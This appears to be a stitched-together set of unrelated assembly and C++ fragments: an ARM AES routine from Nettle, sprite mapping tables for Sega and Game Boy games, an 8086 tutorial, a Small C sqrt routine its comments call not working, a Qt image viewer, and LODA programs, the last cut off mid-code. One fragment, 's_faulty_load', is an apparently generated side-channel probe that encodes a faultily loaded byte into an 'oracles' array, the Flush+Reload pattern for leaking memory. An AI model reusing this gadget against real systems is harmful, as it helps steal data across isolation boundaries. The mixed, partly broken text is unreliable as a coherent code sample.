define(<W0>, <r4>)
define(<W1>, <r5>)
define(<W2>, <r6>)
define(<W3>, <r7>)
define(<T0>, <r8>)
define(<COUNT>, <r10>)
define(<KEY>, <r11>)
define(<MASK>, <r0>) C Overlaps inputs, except TABLE
define(<X0>, <r1>)
define(<X1>, <r3>)
define(<X2>, <r12>)
define(<X3>, <r14>) C lr
define(<FRAME_ROUNDS>, <[sp]>)
define(<FRAME_KEYS>, <[sp, #+4]>)
define(<FRAME_LENGTH>, <[sp, #+8]>)
C 8 saved registers
define(<FRAME_DST>, <[sp, #+44]>)
define(<FRAME_SRC>, <[sp, #+48]>)
C AES_ENCRYPT_ROUND(x0,x1,x2,x3,w0,w1,w2,w3,key)
C MASK should hold the constant 0x3fc.
define(<AES_ENCRYPT_ROUND>, <
and T0, MASK, $1, lsl #2
ldr $5, [TABLE, T0]
and T0, MASK, $2, lsl #2
ldr $6, [TABLE, T0]
and T0, MASK, $3, lsl #2
ldr $7, [TABLE, T0]
and T0, MASK, $4, lsl #2
ldr $8, [TABLE, T0]
and T0, MASK, $2, ror #6
add TABLE, TABLE, #1024
ldr T0, [TABLE, T0]
eor $5, $5, T0
and T0, MASK, $3, ror #6
ldr T0, [TABLE, T0]
eor $6, $6, T0
and T0, MASK, $4, ror #6
ldr T0, [TABLE, T0]
eor $7, $7, T0
and T0, MASK, $1, ror #6
ldr T0, [TABLE, T0]
eor $8, $8, T0
and T0, MASK, $3, ror #14
add TABLE, TABLE, #1024
ldr T0, [TABLE, T0]
eor $5, $5, T0
and T0, MASK, $4, ror #14
ldr T0, [TABLE, T0]
eor $6, $6, T0
and T0, MASK, $1, ror #14
ldr T0, [TABLE, T0]
eor $7, $7, T0
and T0, MASK, $2, ror #14
ldr T0, [TABLE, T0]
eor $8, $8, T0
and T0, MASK, $4, ror #22
add TABLE, TABLE, #1024
ldr T0, [TABLE, T0]
eor $5, $5, T0
and T0, MASK, $1, ror #22
ldr T0, [TABLE, T0]
eor $6, $6, T0
and T0, MASK, $2, ror #22
ldr T0, [TABLE, T0]
eor $7, $7, T0
and T0, MASK, $3, ror #22
ldr T0, [TABLE, T0]
ldm $9!, {$1,$2,$3,$4}
eor $8, $8, T0
sub TABLE, TABLE, #3072
eor $5, $5, $1
eor $6, $6, $2
eor $7, $7, $3
eor $8, $8, $4
>)
.file "aes-encrypt-internal.asm"
C _aes_encrypt(unsigned rounds, const uint32_t *keys,
C const struct aes_table *T,
C size_t length, uint8_t *dst,
C uint8_t *src)
.text
ALIGN(4)
PROLOGUE(_nettle_aes_encrypt)
teq PARAM_LENGTH, #0
beq .Lend
push {r0,r1,r3, r4,r5,r6,r7,r8,r10,r11,lr}
mov MASK, #0x3fc
ALIGN(16)
.Lblock_loop:
ldr X0, FRAME_SRC C Use X0 as SRC pointer
ldm sp, {COUNT, KEY}
AES_LOAD(X0,KEY,W0)
AES_LOAD(X0,KEY,W1)
AES_LOAD(X0,KEY,W2)
AES_LOAD(X0,KEY,W3)
str X0, FRAME_SRC
add TABLE, TABLE, #AES_TABLE0
b .Lentry
ALIGN(16)
.Lround_loop:
C Transform X -> W
AES_ENCRYPT_ROUND(X0, X1, X2, X3, W0, W1, W2, W3, KEY)
.Lentry:
subs COUNT, COUNT,#2
C Transform W -> X
AES_ENCRYPT_ROUND(W0, W1, W2, W3, X0, X1, X2, X3, KEY)
bne .Lround_loop
lsr COUNT, MASK, #2 C Put the needed mask in the unused COUNT register
sub TABLE, TABLE, #AES_TABLE0
C Final round
AES_FINAL_ROUND_V5(X0, X1, X2, X3, KEY, W0, COUNT)
AES_FINAL_ROUND_V5(X1, X2, X3, X0, KEY, W1, COUNT)
AES_FINAL_ROUND_V5(X2, X3, X0, X1, KEY, W2, COUNT)
AES_FINAL_ROUND_V5(X3, X0, X1, X2, KEY, W3, COUNT)
ldr X0, FRAME_DST
ldr X1, FRAME_LENGTH
AES_STORE(X0,W0)
AES_STORE(X0,W1)
AES_STORE(X0,W2)
AES_STORE(X0,W3)
subs X1, X1, #16
str X0, FRAME_DST
str X1, FRAME_LENGTH
bhi .Lblock_loop
add sp, sp, #12 C Drop saved r0, r1, r3
pop {r4,r5,r6,r7,r8,r10,r11,pc}
.Lend:
bx lr
EPILOGUE(_nettle_aes_encrypt)
|
Map_SStageTails_:dc.w word_908EA-Map_SStageTails_
dc.w word_90904-Map_SStageTails_
dc.w word_90912-Map_SStageTails_
dc.w word_90926-Map_SStageTails_
dc.w word_9093A-Map_SStageTails_
dc.w word_9094E-Map_SStageTails_
dc.w word_90962-Map_SStageTails_
dc.w word_90976-Map_SStageTails_
dc.w word_9098A-Map_SStageTails_
dc.w word_908EC-Map_SStageTails_
dc.w word_908F4-Map_SStageTails_
dc.w word_908FC-Map_SStageTails_
PLC_SStageTails:dc.w word_908EA-PLC_SStageTails
dc.w word_909AA-PLC_SStageTails
dc.w word_909B0-PLC_SStageTails
dc.w word_909B8-PLC_SStageTails
dc.w word_909C0-PLC_SStageTails
dc.w word_909C8-PLC_SStageTails
dc.w word_909D0-PLC_SStageTails
dc.w word_909D8-PLC_SStageTails
dc.w word_909E0-PLC_SStageTails
dc.w word_9099E-PLC_SStageTails
dc.w word_909A2-PLC_SStageTails
dc.w word_909A6-PLC_SStageTails
word_908EA: dc.w 0
word_908EC: dc.w 1
dc.b $DD, $B, 0, 0,$FF,$F4
word_908F4: dc.w 1
dc.b $DD, $B, 0, 0,$FF,$F4
word_908FC: dc.w 1
dc.b $DD, $B, 0, 0,$FF,$F4
word_90904: dc.w 2
dc.b $E1, $C, 0, 0,$FF,$F4
dc.b $E9, $B, 0, 4,$FF,$F4
word_90912: dc.w 3
dc.b $DD, $C, 0, 0,$FF,$F3
dc.b $E5, $B, 0, 4,$FF,$F3
dc.b 5, 8, 0,$10,$FF,$F3
word_90926: dc.w 3
dc.b $DD, $C, 0, 0,$FF,$F4
dc.b $E5, $B, 0, 4,$FF,$F4
dc.b 5, 4, 0,$10,$FF,$F4
word_9093A: dc.w 3
dc.b $DD, $B, 0, 0,$FF,$F5
dc.b $FD, 8, 0, $C,$FF,$F5
dc.b 5, 4, 0, $F,$FF,$F5
word_9094E: dc.w 3
dc.b $DD, $C, 0, 0,$FF,$F4
dc.b $E5, $B, 0, 4,$FF,$F4
dc.b 5, 0, 0,$10,$FF,$F4
word_90962: dc.w 3
dc.b $DD, $C, 8, 0,$FF,$EC
dc.b $E5, $B, 8, 4,$FF,$F4
dc.b 5, 4, 8,$10,$FF,$FC
word_90976: dc.w 3
dc.b $DD, $B, 8, 0,$FF,$F3
dc.b $FD, 8, 8, $C,$FF,$F3
dc.b 5, 4, 8, $F,$FF,$FB
word_9098A: dc.w 3
dc.b $DD, $C, 8, 0,$FF,$EC
dc.b $E5, $B, 8, 4,$FF,$F4
dc.b 5, 0, 8,$10, 0, 4
word_9099E: dc.w 1
dc.w $B000
word_909A2: dc.w 1
dc.w $B00C
word_909A6: dc.w 1
dc.w $B018
word_909AA: dc.w 2
dc.w $3024
dc.w $B028
word_909B0: dc.w 3
dc.w $3034
dc.w $B038
dc.w $2044
word_909B8: dc.w 3
dc.w $3047
dc.w $B04B
dc.w $1057
word_909C0: dc.w 3
dc.w $B059
dc.w $2065
dc.w $1068
word_909C8: dc.w 3
dc.w $306A
dc.w $B06E
dc.w $7A
word_909D0: dc.w 3
dc.w $3047
dc.w $B04B
dc.w $1057
word_909D8: dc.w 3
dc.w $B059
dc.w $2065
dc.w $1068
word_909E0: dc.w 3
dc.w $306A
dc.w $B06E
dc.w $7A
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r15
push %r8
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x8b9, %rdx
xor %r10, %r10
movl $0x61626364, (%rdx)
nop
nop
nop
nop
nop
mfence
lea addresses_A_ht+0x42af, %rdi
nop
nop
nop
nop
xor %r15, %r15
movb $0x61, (%rdi)
nop
sub %rcx, %rcx
lea addresses_D_ht+0x776f, %rdx
sub %r10, %r10
movb (%rdx), %r15b
nop
nop
nop
and $46261, %rdi
lea addresses_D_ht+0x1d39f, %r8
nop
cmp %r13, %r13
movb $0x61, (%r8)
nop
nop
nop
nop
and %rcx, %rcx
lea addresses_WT_ht+0xc52f, %r13
nop
cmp $57594, %r10
mov (%r13), %cx
cmp %rdi, %rdi
lea addresses_UC_ht+0xb94f, %rdi
nop
nop
nop
nop
cmp %r8, %r8
movups (%rdi), %xmm0
vpextrq $1, %xmm0, %r13
nop
nop
nop
nop
nop
xor %r13, %r13
lea addresses_WT_ht+0x57ff, %rsi
lea addresses_D_ht+0x1996f, %rdi
xor $24580, %r10
mov $21, %rcx
rep movsl
nop
nop
and %rdi, %rdi
lea addresses_normal_ht+0x1276f, %rsi
nop
nop
nop
nop
and $14356, %r8
movb (%rsi), %dl
nop
add $59556, %r10
lea addresses_D_ht+0x13acf, %rdi
nop
add %r15, %r15
movb $0x61, (%rdi)
nop
nop
nop
cmp $29170, %r15
lea addresses_WT_ht+0x3603, %r13
nop
nop
nop
nop
nop
add %rcx, %rcx
movl $0x61626364, (%r13)
sub %rsi, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r15
push %r8
push %rbx
push %rdi
push %rdx
// Store
lea addresses_D+0x1bdef, %r8
nop
nop
and %r11, %r11
movb $0x51, (%r8)
nop
nop
cmp $31490, %r8
// Store
lea addresses_normal+0x16f6f, %r11
nop
nop
nop
sub %r12, %r12
mov $0x5152535455565758, %rbx
movq %rbx, %xmm0
movups %xmm0, (%r11)
cmp %r11, %r11
// Store
lea addresses_normal+0xff6f, %r8
inc %rdx
mov $0x5152535455565758, %rbx
movq %rbx, (%r8)
nop
nop
nop
nop
nop
add $53794, %r15
// Faulty Load
lea addresses_normal+0x16f6f, %rdi
nop
nop
nop
nop
cmp $24195, %rbx
movntdqa (%rdi), %xmm1
vpextrq $1, %xmm1, %r8
lea oracles, %rbx
and $0xff, %r8
shlq $12, %r8
mov (%rbx,%r8,1), %r8
pop %rdx
pop %rdi
pop %rbx
pop %r8
pop %r15
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_normal', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 7, 'type': 'addresses_D', 'AVXalign': False, 'size': 1}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_normal', 'AVXalign': False, 'size': 16}}
{'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 11, 'type': 'addresses_normal', 'AVXalign': False, 'size': 8}}
[Faulty Load]
{'src': {'NT': True, 'same': True, 'congruent': 0, 'type': 'addresses_normal', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 1, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 6, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1}}
{'src': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1}}
{'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 3, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 9, 'type': 'addresses_D_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4}}
{'72': 2, '00': 20292, '25': 5, '35': 89, 'ff': 70, '08': 1335, 'ad': 36}
00 25 00 25 00 25 00 25 00 25 00 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 00 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
;--------------------------------------------------------
; File Created by SDCC : free open source ANSI-C Compiler
; Version 4.1.4 #12246 (Mac OS X x86_64)
;--------------------------------------------------------
.module spritesheet_4
.optsdcc -mgbz80
;--------------------------------------------------------
; Public variables in this module
;--------------------------------------------------------
.globl _spritesheet_4
.globl _spritesheet_4_animations_lookup
.globl _spritesheet_4_animations
.globl _spritesheet_4_metasprites
.globl _spritesheet_4_metasprite_7
.globl _spritesheet_4_metasprite_6
.globl _spritesheet_4_metasprite_5
.globl _spritesheet_4_metasprite_4
.globl _spritesheet_4_metasprite_3
.globl _spritesheet_4_metasprite_2
.globl _spritesheet_4_metasprite_1
.globl _spritesheet_4_metasprite_0
.globl ___bank_spritesheet_4
;--------------------------------------------------------
; special function registers
;--------------------------------------------------------
;--------------------------------------------------------
; ram data
;--------------------------------------------------------
.area _DATA
;--------------------------------------------------------
; ram data
;--------------------------------------------------------
.area _INITIALIZED
;--------------------------------------------------------
; absolute external ram data
;--------------------------------------------------------
.area _DABS (ABS)
;--------------------------------------------------------
; global & static initialisations
;--------------------------------------------------------
.area _HOME
.area _GSINIT
.area _GSFINAL
.area _GSINIT
;--------------------------------------------------------
; Home
;--------------------------------------------------------
.area _HOME
.area _HOME
;--------------------------------------------------------
; code
;--------------------------------------------------------
.area _CODE_255
.area _CODE_255
___bank_spritesheet_4 = 0x00ff
_spritesheet_4_metasprite_0:
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x08 ; 8
.db #0x02 ; 2
.db #0x00 ; 0
.db #0x80 ; -128
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
_spritesheet_4_metasprite_1:
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x04 ; 4
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x08 ; 8
.db #0x06 ; 6
.db #0x00 ; 0
.db #0x80 ; -128
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
_spritesheet_4_metasprite_2:
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x08 ; 8
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x08 ; 8
.db #0x0a ; 10
.db #0x00 ; 0
.db #0x80 ; -128
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
_spritesheet_4_metasprite_3:
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x0c ; 12
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x08 ; 8
.db #0x0e ; 14
.db #0x00 ; 0
.db #0x80 ; -128
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
_spritesheet_4_metasprite_4:
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x08 ; 8
.db #0x12 ; 18
.db #0x00 ; 0
.db #0x80 ; -128
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
_spritesheet_4_metasprite_5:
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x14 ; 20
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x08 ; 8
.db #0x16 ; 22
.db #0x00 ; 0
.db #0x80 ; -128
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
_spritesheet_4_metasprite_6:
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x12 ; 18
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x08 ; 8
.db #0x10 ; 16
.db #0x20 ; 32
.db #0x80 ; -128
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
_spritesheet_4_metasprite_7:
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x16 ; 22
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x08 ; 8
.db #0x14 ; 20
.db #0x20 ; 32
.db #0x80 ; -128
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
_spritesheet_4_metasprites:
.dw _spritesheet_4_metasprite_0
.dw _spritesheet_4_metasprite_1
.dw _spritesheet_4_metasprite_2
.dw _spritesheet_4_metasprite_3
.dw _spritesheet_4_metasprite_4
.dw _spritesheet_4_metasprite_5
.dw _spritesheet_4_metasprite_6
.dw _spritesheet_4_metasprite_7
_spritesheet_4_animations:
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
_spritesheet_4_animations_lookup:
.dw #0x0000
_spritesheet_4:
.db #0x06 ; 6
.dw _spritesheet_4_metasprites
.dw _spritesheet_4_animations
.dw _spritesheet_4_animations_lookup
.db #0x00 ; 0
.db #0x0f ; 15
.db #0xf8 ; -8
.db #0x07 ; 7
.byte ___bank_spritesheet_4_tiles
.dw _spritesheet_4_tiles
.db #0x00 ; 0
.dw #0x0000
.area _INITIALIZER
.area _CABS (ABS)
|
name "add-2"
; this example calculates the sum of a vector with
; another vector and saves result in third vector.
; you can see the result if you click the "vars" button.
; set elements for vec1, vec2 and vec3 to 4 and show as "signed".
org 100h
jmp start
vec1 db 1, 2, 5, 6
vec2 db 3, 5, 6, 1
vec3 db ?, ?, ?, ?
start:
lea si, vec1
lea bx, vec2
lea di, vec3
mov cx, 4
sum:
mov al, [si]
add al, [bx]
mov [di], al
inc si
inc bx
inc di
loop sum
ret
|
; Small C+ Math Library
; sqrt(a) function, compiled C..hence the size!
; Compiled using some inline optimizations (gchar etc)
; Fine tuned by hand...so don't recompile!
; Tuned to: only keep one zero constant
; Pointer stuff made nicer..
;
; But still not working!
INCLUDE "stdio.def"
SECTION code_fp
PUBLIC sqrt
EXTERN dload
EXTERN dpush
EXTERN dstore
EXTERN dldpsh
EXTERN l_pint
EXTERN l_gint
EXTERN l_sxt
EXTERN ddiv
EXTERN dadd
EXTERN dleq
EXTERN dlt
.sqrt
ld hl,-12
add hl,sp
ld sp,hl
ld hl,14
add hl,sp
; call dload, dpush -> dldpsh
call dldpsh
ld hl,i_1+0
call dload
call dleq
ld a,h
or l
jp z,i_2
ld hl,i_1+0
call dload
ld hl,12
add hl,sp
ld sp,hl
ret
.i_2
ld hl,4
add hl,sp
push hl
ld hl,16
add hl,sp
pop de
call l_pint
ld hl,6
add hl,sp
pop de
pop bc
push hl
push de
ld hl,6
add hl,sp
push hl
ld hl,i_1+6
call dload
pop hl
call dstore
;Fetch second into off stack optimized
pop bc
pop hl
push hl
push bc
ld de,5
add hl,de
push hl
ld hl,6
add hl,sp
call l_gint
ld de,5
add hl,de
ld a,(hl)
call l_sxt ;sign extend
rr h
rr l
ld a,l
xor 64
pop hl
ld (hl),a
ld hl,7
pop bc
push hl
.i_4
;Decrement int at top of stack (from j--)
pop hl
dec hl
push hl
ld a,h
or l
jp z,i_5
ld hl,6
add hl,sp
push hl ;extra
; call dload, dpush -> dldpsh
call dldpsh
ld hl,22 ;x
add hl,sp
; call dload, dpush -> dldpsh
call dldpsh
ld hl,20 ;extra
add hl,sp
call dload
call ddiv ;x/extra
call dadd ;extra+fa
pop hl
call dstore
;divide by two
pop bc
pop hl
push hl
push bc
ld de,5
add hl,de
dec (hl)
jp i_4
.i_5
ld hl,6
add hl,sp
call dload
ld hl,12
add hl,sp
ld sp,hl
ret
SECTION rodata_clib
.i_1
defb 0,0,0,0,0,0
defb 18,-125,-64,-54,65,-128
|
#include "imageviewer.h"
#include <QFile>
#include <QPainter>
#include <QDebug>
#include <QTime>
#include <QtEndian>
#include <QPen>
#include <QColor>
#include <QTimer>
ImageViewer::ImageViewer(QWidget *parent) :
QWidget(parent) {
this->setMouseTracking(true);
// Notify this widget of changes to the image
connect(&_image, SIGNAL(changed()), this, SLOT(on_image_changed()), Qt::QueuedConnection);
QTimer *timer = new QTimer(this);
connect(timer, SIGNAL(timeout()), this, SLOT(on_selection_update()));
timer->start(200);
dashOffset = 0;
lastMousePos = QPoint(-1, -1);
pressStartPos = QPoint(-1, -1);
}
void ImageViewer::setSelection(QPainterPath path) {
// Combine previous and new paths
QPainterPath combined;
combined.addPath(this->selectionPath);
combined.addPath(path);
// Set new path
this->selectionPath = path;
this->selectionPath.setFillRule(Qt::WindingFill);
// Use bounding of combined paths to update display
updatePath(combined);
}
void ImageViewer::updatePath(QPainterPath path) {
QRectF boundsRel = path.boundingRect();
qreal x = (boundsRel.x() - 1) * drawnImageScale + drawnImageBounds.x();
qreal y = (boundsRel.y() - 1) * drawnImageScale + drawnImageBounds.y();
qreal w = (boundsRel.width() + 2) * drawnImageScale;
qreal h = (boundsRel.height() + 2) * drawnImageScale;
this->update(QRect(x, y, w, h));
}
void ImageViewer::on_selection_update() {
updatePath(this->selectionPath);
}
void ImageViewer::onMouseChanged(QMouseEvent* event) {
QPoint pos = event->pos();
int x = (pos.x() - drawnImageBounds.x()) / this->drawnImageScale;
int y = (pos.y() - drawnImageBounds.y()) / this->drawnImageScale;
bool isMouseChange = (event->button() != Qt::NoButton);
bool shiftPressed = event->modifiers().testFlag(Qt::ShiftModifier);
QPoint newPos(x, y);
// While holding SHIFT, use a block alignment algorithm
if (shiftPressed && (event->buttons() != Qt::NoButton)) {
if (this->pressStartPos == QPoint(-1, -1)) {
this->pressStartPos = newPos;
}
QPoint diff = newPos - pressStartPos;
if (abs(diff.x()) < abs(diff.y())) {
newPos.setX(pressStartPos.x());
} else {
newPos.setY(pressStartPos.y());
}
} else {
this->pressStartPos = QPoint(-1, -1);
}
// Ignore when no movement or events happened
if (!isMouseChange && (newPos == lastMousePos)) {
return;
}
// Update position and allow boundary pixels to be registered
// When mouse moves out of bounds, the coordinate is clipped
// While moving outside the area, nothing happens
QPoint p0 = lastMousePos;
QPoint p1 = newPos;
lastMousePos = newPos;
QRect bounds(0, 0, _image.width(), _image.height());
bool hasP0 = bounds.contains(p0);
bool hasP1 = bounds.contains(p1);
if (!hasP0) p0 = getPointWithin(p0, bounds);
if (!hasP1) p1 = getPointWithin(p1, bounds);
if (hasP0 || hasP1) {
// Obtain all points in between old and new positions
// If no previous point was known, only take new point
QList<QPoint> points;
points = getLinePoints(p0, p1);
// Remove the first point (event fired before)
if (lastMousePos != newPos) {
points.removeAt(0);
}
// Go by all points and fire the event
for (int i = 0; i < points.count(); i++) {
emit mouseChanged(points[i], event->buttons());
}
}
}
void ImageViewer::on_image_changed() {
update();
emit imageChanged();
}
void ImageViewer::mouseMoveEvent(QMouseEvent *event) {
onMouseChanged(event);
}
void ImageViewer::mousePressEvent(QMouseEvent *event) {
onMouseChanged(event);
}
void ImageViewer::mouseReleaseEvent(QMouseEvent *event) {
onMouseChanged(event);
}
void ImageViewer::paintEvent(QPaintEvent *) {
QPainter painter(this);
if (_image.isNull()) return;
QRect dest(0, 0, _image.width(), _image.height());
// Show a scaled version of the image
float scale_w = (float) width() / (float) dest.width();
float scale_h = (float) height() / (float) dest.height();
drawnImageScale = (scale_w > scale_h) ? scale_h : scale_w;
dest.setWidth(dest.width() * drawnImageScale);
dest.setHeight(dest.height() * drawnImageScale);
dest.moveLeft((width() - dest.width()) / 2);
dest.moveTop((height() - dest.height()) / 2);
// Store and apply the pixel area transformation rectangle
drawnImageBounds = dest;
painter.translate(dest.x(), dest.y());
painter.scale(drawnImageScale, drawnImageScale);
// Draw the background image
painter.drawPixmap(0,0,_image.pixmap());
// Draw translucent overlay
painter.fillPath(selectionPath, QBrush(QColor(0, 0, 255, 128)));
// Draw the selection rectangle inside this area
QPen p(Qt::white);
p.setWidthF(2 / drawnImageScale);
p.setJoinStyle(Qt::MiterJoin);
p.setCapStyle(Qt::SquareCap);
p.setDashPattern( QVector<qreal>() << 1 << 1.5);
p.setDashOffset(dashOffset++);
painter.setCompositionMode(QPainter::RasterOp_SourceXorDestination);
painter.setPen(p);
painter.drawPath(selectionPath);
}
|
; A142260: Primes congruent to 11 mod 43.
; Submitted by Jon Maiga
; 11,97,269,613,1129,1301,1559,2161,2333,2591,2677,3623,3709,3881,3967,4139,4397,4483,4999,5171,6203,6547,6719,6977,7321,8009,8353,8783,9041,9127,9643,9901,10159,10331,10589,10847,11621,12653,12739,12911,13513,14029,14717,15061,15233,15319,15749,16007,17383,18329,18587,19447,19963,20393,20479,21683,22027,22543,22973,23059,23747,23833,24091,25037,25639,27617,27961,28219,28477,28649,29251,29423,30197,30713,30971,31573,32003,32089,32261,33637,33809,34583,34841,35099,36131,36217,36389,37507,38281
mov $1,5
mov $2,$0
add $2,2
pow $2,2
lpb $2
sub $2,2
mov $3,$1
mul $3,2
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,43
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mov $0,$1
mul $0,2
sub $0,85
|
; A113071: Expansion of ((1+x)/(1-3*x))^2.
; 1,8,40,168,648,2376,8424,29160,99144,332424,1102248,3621672,11809800,38263752,123294312,395392104,1262703816,4017693960,12741829416,40291730856,127073920392,399817944648,1255242384360,3933092804328
mov $1,4
add $1,$0
sub $1,3
mov $3,$0
add $3,$0
